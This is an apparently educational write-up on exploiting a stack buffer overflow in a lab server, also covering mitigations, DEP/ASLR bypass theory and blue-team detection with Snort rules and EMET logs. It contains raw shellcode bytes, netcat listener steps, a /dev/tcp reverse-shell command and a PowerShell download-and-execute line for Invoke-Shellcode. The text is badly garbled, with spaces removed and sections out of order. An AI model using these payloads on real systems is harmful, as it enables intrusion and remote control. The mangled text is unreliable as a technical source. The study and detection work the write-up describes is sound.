x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

